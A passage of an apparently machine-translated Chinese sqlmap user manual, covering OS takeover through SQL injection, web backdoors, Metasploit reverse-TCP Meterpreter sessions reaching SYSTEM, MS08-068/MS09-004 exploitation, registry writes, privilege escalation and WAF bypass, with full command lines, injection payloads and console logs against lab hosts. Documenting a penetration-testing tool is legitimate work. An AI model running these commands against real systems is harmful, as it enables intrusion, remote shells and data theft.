上MySQL和PostgreSQL,SqlMap的上传(经由文件上传功能如上所述)含有两个用户定义函数的共享库(二进制文件),sys_exec()sys_eval(),然后将其在数据库上创建这两个函数和调用它们中的一个来执行指定的命令,取决于用户选择是否显示标准输出。在Microsoft SQL Server上,sqlmap会滥用xp_cmdshell存储过程:如果它被禁用(默认情况下,Microsoft SQL Server> = 2005),sqlmap将重新启用它; 如果它不存在,sqlmap会从头开始创建它。

当用户请求标准输出时,sqlmap使用枚举SQL注入技术之一(盲,带内或基于错误)来检索它。反之亦然,如果不需要标准输出,则使用堆栈查询SQL注入技术来执行该命令。

这些技术在高级SQL注入到操作系统完全控制的白皮书中有详细介绍

针对PostgreSQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually

你也可以模拟一个真正的shell,你可以根据需要输入任意多个命令。该选项具有--os-shell和具有相同的TAB完成和历史记录功能--sql-shell

如果Web应用程序中没有标识堆栈查询(例如PHP或ASP,后端数据库管理系统为MySQL)且DBMS是MySQL,则仍有可能滥用该SELECT子句INTO OUTFILE以在可写文件夹中创建Web后门Web服务器文档根目录,并且仍然会执行命令执行,前提是后端DBMS和Web服务器位于同一台服务器上。sqlmap支持这种技术,并允许用户提供逗号分隔的可能的文档根子文件夹列表,尝试上传Web文件stager和后续的web后门。此外,sqlmap有以下语言的自己的经过测试的Web文件定时器和后门程序:

  • ASP
  • ASP.NET
  • JSP
  • PHP

带外有状态连接:Meterpreter和朋友

开关和选项:--os-pwn--os-smbrelay--os-bof--priv-esc--msf-path--tmp-path

当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server,并且会话用户有需要时,可以在攻击者机器和数据库服务器底层操作系统之间建立带外状态TCP连接滥用数据库特定功能和架构弱点的权限。该通道可以是交互式命令提示符,Meterpreter会话或图形用户界面(VNC)会话,可以根据用户的选择进行选择。

sqlmap依靠Metasploit来创建shellcode并实现四种不同的技术来在数据库服务器上执行它。这些技术是:

  • Metasploit的shellcode通过sqlmap自带的用户定义的函数在内存中执行数据库sys_bineval()在MySQL和PostgreSQL上支持 - 开关--os-pwn
  • 通过sqlmap上载和执行Metasploit的独立有效载荷 stager,sys_exec()在MySQL和PostgreSQL上或通过xp_cmdshell()Microsoft SQL Server - 开关自带用户定义的函数--os-pwn
  • Metasploit的shellcode通过执行SMB反射攻击MS08-068)和数据库服务器到Metasploit smb_relay服务器利用侦听的攻击者机器的UNC路径请求来执行Metasploit的shellcode uid=0在Linux / Unix上以高特权(运行sqlmap 并且目标DBMS以Windows上的管理员身份运行时支持 - switch --os-smbrelay
  • 通过利用Microsoft SQL Server 2000和2005 sp_replwritetovarbin存储过程基于堆的缓冲区溢出MS09-004),数据库在内存中执行Metasploit的shellcode sqlmap有自己的漏洞利用自动DEP内存保护绕过来触发漏洞,但它依赖于Metasploit来生成shellcode,以便在成功利用开关时执行--os-bof

这些技术在白皮书中详细介绍了高级SQL注入到操作系统完全控制和幻灯片中扩展了数据库对操作系统的控制

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
> 
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on 
all ports 
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
> 
which is the local address? [192.168.136.1] 
which local port number do you want to use? [60641] 
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..

                                _
                                | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                        /|
                        \|


    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641 
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
ineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
t Mon Apr 11 hh:mm:52 +0100 2011

meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0


meterpreter > exit

[*] Meterpreter session 1 closed.  Reason: User exit

默认情况下,Windows上的MySQL运行为SYSTEM,但是PostgreSQL postgres在Windows和Linux上作为低权限用户运行。默认情况下SYSTEMMicrosoft SQL Server 2000运行为,而Microsoft SQL Server 2005和2008运行大多数时间NETWORK SERVICE,有时和LOCAL SERVICE

可以通过交换机提供sqlmap --priv-esc通过Metasploit的命令执行数据库进程'用户权限升级getsystem其中包括kitrap0d技术(MS10-015)等。

Windows注册表访问

当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server,以及Web应用程序支持堆栈查询时,可以访问Windows注册表。另外,会话用户必须具有访问它所需的特权。

阅读Windows注册表键值

开关: --reg-read

使用此开关可以读取注册表项值。

编写一个Windows注册表键值

开关: --reg-add

使用此开关可以编写注册表键值。

删除Windows注册表项

开关: --reg-del

使用此开关可以删除注册表项。

辅助注册表选项

选项:--reg-key--reg-value--reg-data--reg-type

这些选项可以被用于提供所需的开关的适当的运行数据--reg-read--reg-add和 --reg-del因此,在提问时不要提供注册表项信息,您可以在命令提示符下将它们用作程序参数。

通过--reg-key选项,您可以指定使用的Windows注册表键名路径,其中的--reg-value值项名称位于提供的键内,其中包含--reg-data值数据,而--reg-type您可以使用选项指定值项的类型。

用于添加注册表项配置单元的示例命令行如下所示:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\
eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-ty\
pe=REG_SZ --reg-data=1

一般

这些选项可用于设置一些常规工作参数。

从存储的(.sqlite)文件加载会话

选项: -s

sqlmap会自动为每个目标创建一个永久性会话SQLite文件,位于专用输出目录中,用于存储会话结果所需的所有数据。如果用户想明确设置会话文件位置(例如,为了在一个位置存储多个目标的会话数据),他可以使用该选项。

将HTTP(s)流量记录到文本文件

选项: -t

此选项需要指定文本文件以写入由sqlmap生成的所有HTTP流量的参数 - HTTP(S)请求和HTTP(S)响应。

这主要用于调试目的 - 当您向开发人员提供潜在错误报告时,也请发送此文件。

以非交互模式运行

开关: --batch

如果你希望sqlmap作为一个批处理工具运行,当没有任何用户的交互时,sqlmap需要它,你可以通过使用开关强制--batch这将使sqlmap保持默认行为,无论何时需要用户输入。

二进制内容检索

选项 --binary-fields

在二进制内容检索的情况下,例如具有存储二进制值的列的表格(例如password具有二进制存储的密码散列值的列)的示例,可以使用--binary-fieldssqlmap的(额外)适当处理选项。然后检索所有这些字段(即表格列),并用十六进制表示法表示,所以之后可以用其他工具正确处理它们(例如john)。

自定义(盲)SQL注入字符集

选项: --charset

在基于布尔型盲和基于时间的盲注入SQL案例中,用户可以强制使用自定义字符集来加速数据检索过程。例如,在转储消息摘要值(例如SHA1)的情况下,通过使用(例如)--charset="0123456789abcdef"预期的请求数量比常规运行少30%。

从目标网址开始抓取网站

选项: --crawl

sqlmap可以通过从目标位置开始收集它们(爬行)来收集潜在的易受攻击的链接。使用此选项,用户可以设置一个深度(距离起始位置的距离),低于该深度,sqlmap不会进入收集阶段,因为只要存在新的链接即可访问,该过程将递归执行。

针对MySQL目标的示例运行:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]

选项 --crawl-exclude

使用此选项,您可以通过提供正则表达式来排除爬网页面。例如,如果您想跳过logout路径中包含关键字的所有页面,则可以使用--crawl-exclude=logout

分隔CSV输出中使用的字符

选项: --csv-del

转储的数据以CSV格式(--dump-format=CSV存储时,必须使用“分隔值”(默认为,分隔条目如果用户想要覆盖默认值,他可以使用这个选项(例如--csv-del=";")。

DBMS认证凭证

选项: --dbms-cred

在某些情况下,会警告用户由于缺乏当前DBMS用户权限而导致某些操作失败,并且他可以尝试使用此选项。在这些情况下,如果他admin通过使用此选项向sqlmap 提供用户凭据,sqlmap将尝试OPENROWSET使用这些凭据以专门的“运行方式”机制(例如在Microsoft SQL Server上)重新运行问题部分

转储数据的格式

选项: --dump-format

的SqlMap支持三种不同类型的存储转储表数据时成相应的文件中的一个输出目录内格式化的:CSVHTMLSQLITE默认的是CSV,每个表格行按行存储到文本文件中,并且每个条目用逗号字符,(或者带有选项的一个--csv-del分隔在情况下HTML,输出存储到HTML文件中,其中每行用格式化表格中的行表示。在情况下SQLITE,输出存储到SQLITE数据库中,原始表内容被复制到具有相同名称的相应表中。

强制用于数据检索的字符编码

选项: --encoding

为了正确解码字符数据,sqlmap使用Web服务器提供的信息(例如HTTP头Content-Type)或来自第三方库chardet的启发式结果

不过,有些情况下这个值必须被覆盖,特别是当检索包含国际非ASCII字母的数据时(例如--encoding=GBK)。必须注意的是,由于存储的数据库内容与目标端使用的数据库连接器之间的隐含不兼容性,字符信息可能会不可逆转地丢失。

预计到达时间

开关: --eta

可以实时计算和显示估计的到达时间以检索每个查询输出。当用于检索输出的技术是任何盲注SQL类型时,会显示此信息。

针对仅受基于布尔型盲态SQL注入影响的Oracle目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\
=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                          ] 11/64  ETA 00:19

然后:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2
.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

如您所见,sqlmap首先计算查询输出的长度,然后估计到达时间,以百分比显示进度并计算检索到的输出字符的数量。

刷新会话文件

选项: --flush-session

由于您已经熟悉上述描述中的会话文件的概念,因此您可以使用选项清除该文件的内容,这很好--flush-session这样可以避免在sqlmap中默认实现的缓存机制。其他可能的方法是手动删除会话文件。

分析和测试表单的输入字段

开关: --forms

假设您想要针对SQL注入测试一个巨大的搜索表单,或者您想要测试一个登录旁路(通常只有两个输入字段,如usernamepassword),您可以传递给请求文件中的sqlmap请求(-r),设置相应的POST数据(--data)或者让sqlmap为你做!

上面提到的两个例子以及其他许多例子都在HTML响应体中出现<form><input>标记,这就是开关起作用的地方。

提供sqlmap --forms以及可以找到表单的页面作为目标URL(-u),并且sqlmap将为您请求目标URL,解析它所具有的表单并指导您在这些表单输入字段上测试SQL注入参数)而不是提供的目标网址。

忽略存储在会话文件中的查询结果

开关: --fresh-queries

由于您已经从上面的描述中熟悉会话文件的概念,因此很高兴知道您可以忽略该文件使用选项的内容--fresh-queries通过这种方式,您可以保持会话文件不变,并且对于选定的运行,避免恢复/恢复查询输出。

使用DBMS十六进制功能(s)进行数据检索

开关: --hex

在丢失情况下检索非ASCII数据需要特殊的需求。这个问题的一个解决方案是使用DBMS十六进制函数。通过该开关打开,数据在被检索之前被编码为十六进制格式,然后被解码为原始格式。

针对PostgreSQL目标的示例:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b\
anner --hex -v 3 --parse-errors

[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'
>function.pg-query</a>]: Query failed: ERROR:  invalid input syntax for type num
eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
hp</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by 
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]

自定义输出目录路径

选项: --output-dir

默认情况下,sqlmap将会话和结果文件存储在子目录中output如果你想使用不同的位置,你可以使用这个选项(例如--output-dir=/tmp)。

从响应页面解析DBMS错误消息

开关: --parse-errors

如果Web应用程序配置为调试模式,以便它在HTTP响应中显示后端数据库管理系统错误消息,则sqlmap可以解析并为您显示它们。

这对于调试目的很有用,例如理解为什么某个枚举或接管开关不起作用 - 这可能是会话用户权限的问题,在这种情况下,您会看到一行DBMS错误消息Access denied for user <SESSION USER>

针对Microsoft SQL Server目标的示例:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --parse-errors
[...]
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the 
timeneeded to find the right number of query columns. Automatically extending th
e rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 i
s out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query
[...]

将选项保存在配置INI文件中

选项: --save

可以将命令行选项保存到配置INI文件中。然后可以编辑生成的文件,并使用上述-c选项将其传递给sqlmap 

更新sqlmap

开关: --update

使用此选项,您可以直接从Git存储库将工具更新到最新的开发版本您显然需要访问Internet。

如果出于任何原因,此操作失败,请git pull从您的sqlmap工作副本运行它将执行完全相同的开关操作--update如果您在Windows上运行sqlmap,则可以使用SmartGit客户端。

邮件列表报告任何错误之前,强烈建议您这么做

使用短助记符

选项: -z

输入所有期望的选项和开关可能变得单调乏味,特别是对于那些经常使用的选项和开关(例如--batch --random-agent --ignore-proxy --technique=BEU)。如何处理这个问题有一个更简单和更短的方法。在sqlmap中它被称为“助记符”。

每个选项和开关可以使用选项以较短的助记符形式书写-z,用逗号字符(,分隔,其中助记符仅表示原始名称的第一个任意选择的部分。没有将选项和开关严格映射到各自缩短的对应方。只有必要的条件是没有其他选项,也没有与所需的前缀相同的开关。

例:

$ python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "ww\
w.target.com/vuln.php?id=1"

可以使用较短的助记符形式写入(以多种方式之一),如:

$ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\
1"

另一个例子:

$ python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testd\
b -T users -u "www.target.com/vuln.php?id=1"

可以写成较短的助记符形式,如:

$ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.\
com/vuln.php?id=1"

警告成功的SQL注入检测

选项: --alert

设置问题的答案

选项: --answers

如果用户想要自动设置问题答案,即使--batch使用该选项,他也可以通过在等号后提供问题的任何部分和答案来完成问题。此外,不同问题的答案可以用分隔符分割,

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--te\
chnique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you 
want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provide
d level (1) and risk (1)? [Y/n] N
[...]

发现SQL注入时发出哔声

开关: --beep

如果用户使用开关--beep,当发现SQL注入时,他会立即发出哔声。-m要测试的目标URL 有大量的批量列表(选项时,此功能特别有用

从sqlmap特定的UDF(s)和表中清理DBMS

开关: --cleanup

建议在完成接管底层操作系统或文件系统后,从sqlmap临时表中清理后端数据库管理系统并创建用户定义的函数。--cleanup只要有可能,交换机将尝试清理DBMS和文件系统。

检查依赖关系

开关: --dependencies

在某些特殊情况下,sqlmap需要独立安装额外的第三方库(例如,选项-d--os-pwnicmpsh隧道情况下切换--auth-typeNTLMHTTP验证类型的情况下选项等),并且仅在这种特殊情况下才会警告用户。但是,如果您想独立检查所有这些额外的第三方库依赖关系,则可以使用switch --dependencies

$ python sqlmap.py --dependencies
[...]
[xx:xx:28] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in
 order to directly connect to the DBMS Firebird. Download from http://kinterbasd
b.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Sybase. Download from http://pymssql.sourcefo
rge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python pymysql' third-party library in ord
er to directly connect to the DBMS MySQL. Download from https://github.com/peteh
unt/PyMySQL/
[xx:xx:28] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in o
rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour
ceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-psycopg2' third-party library in or
der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p
sycopg/
[xx:xx:28] [WARNING] sqlmap requires 'python ibm-db' third-party library in orde
r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/
p/ibm-db/
[xx:xx:28] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-pa
rty library in order to directly connect to the DBMS HSQLDB. Download from https
://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pyodbc' third-party library in orde
r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc.
googlecode.com/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Microsoft SQL Server. Download from http://py
mssql.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-ntlm' third-party library if you pl
an to attack a web application behind NTLM authentication. Download from http://
code.google.com/p/python-ntlm/
[xx:xx:28] [WARNING] sqlmap requires 'websocket-client' third-party library if y
ou plan to attack a web application using WebSocket. Download from https://pypi.
python.org/pypi/websocket-client/

禁用控制台输出颜色

开关: --disable-coloring

默认情况下,sqlmap在写入控制台时使用着色。如果出现不希望的效果(例如未解释的ANSI着色代码的控制台外观\x01\x1b[0;32m\x02[INFO]),则可以使用此开关禁用控制台输出颜色。

使用指定页码的Google dork结果

选项: --gpage

带有选项的默认sqlmap行为-g是执行Google搜索并使用前100个结果URL进行进一步的SQL注入测试。但是,结合此选项,您可以使用此选项(--gpage)指定第一个页面以外的页面以从中检索目标URL。

使用HTTP参数污染

开关: --hpp

HTTP参数污染(HPP)是一种绕过WAF / IPS / IDS保护机制的方法(此处解释)对ASP / IIS和ASP.NET / IIS平台特别有效。如果您怀疑目标是在这种保护之下,您可以尝试使用此开关绕过它。

通过WAF / IPS / IDS保护测试

开关: --identify-waf

sqlmap可以尝试识别后端WAF / IPS / IDS保护(如果有),以便用户可以执行适当的步骤(例如,使用篡改脚本--tamper)。目前支持大约30种不同的产品(Airlock,Barracuda WAF等)以及它们各自的WAF脚本可在waf目录中找到

针对由ModSecurity WAF保护的MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --i\
dentify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (Un
ited Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application F
irewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Applicatio
n Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application 
Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisc
o Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)
'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Fi
rewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Ak
amai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application F
irewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application 
Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application F
irewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application S
ecurity (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Fir
ewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firew
all (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source We
b Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Appli
cation Firewall (Trustwave)'. Please consider usage of tamper scripts (option '-
-tamper')
[...]

跳过启发式检测WAF / IPS / IDS保护

开关: --skip-waf

默认情况下,sqlmap会自动向启动请求的内部发送一个包含故意“可疑”SQL注入有效负载(例如...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1的虚拟参数值如果目标响应方式与原始请求不同,则很有可能会受到某种保护。如有任何问题,用户可以通过提供开关来禁用此机制--skip-waf

模仿智能手机

开关: --mobile

有时,Web服务器会向手机展示不同的接口,而不是台式计算机。在这种情况下,您可以强制使用预先确定的智能手机HTTP User-Agent标头值之一。通过使用这个开关,sqlmap会要求你选择一个当前流行的模拟智能手机。

示例运行:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]

在离线模式下工作(仅使用会话数据)

开关: --offline

通过使用开关,--offlinesqlmap将只使用数据枚举中的前一个会话数据。这基本上意味着在这样的运行中将会有零连接尝试。

安全地从输出目录中删除所有内容

开关 --purge-output

如果用户决定安全地从output目录中删除所有内容,包含以前的sqlmap运行的所有目标详细信息,他可以使用开关--purge-output清除时,文件夹中(子)目录中的所有文件output将被随机数据覆盖,被截断,重命名为随机名称,(子)目录也将被重命名为随机名称,最后整个目录树将被删除。

示例运行:

$ python sqlmap.py --purge-output -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]

只有在积极启发式(s)

开关 --smart

有些情况下,用户拥有大量可能的目标URL(例如,提供了选项-m),并且他希望尽快找到易受攻击的目标。如果使用开关--smart,则只有可能引发DBMS错误的参数正在进一步用于扫描。否则,他们会被跳过。

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&use\
r=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might 
not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' migh
t not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be 
injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you 
want to skip test payloads specific for other DBMSes? [Y/n] Y
